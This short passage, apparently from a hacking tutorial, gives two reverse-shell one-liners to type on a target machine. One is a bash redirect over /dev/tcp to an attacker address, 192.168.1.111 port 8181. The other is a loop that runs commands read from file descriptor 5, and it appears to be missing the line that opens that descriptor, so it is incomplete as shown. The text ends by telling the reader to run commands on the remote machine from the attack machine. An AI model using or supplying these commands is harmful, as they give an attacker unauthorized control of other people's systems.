Assuming that the attacker’s machine ip address is 192.168.1.111 and the listening port is 8181.
Type in the target’s machine terminal
/bin/bash -i > /dev/tcp/192.168.1.111/8181 0<&1 2>&1
cat <&5 | while read line; do $line 2>&5 >&5; done
Choose one of the two ways and then go back to your attack machine and execute a command on the remote machine!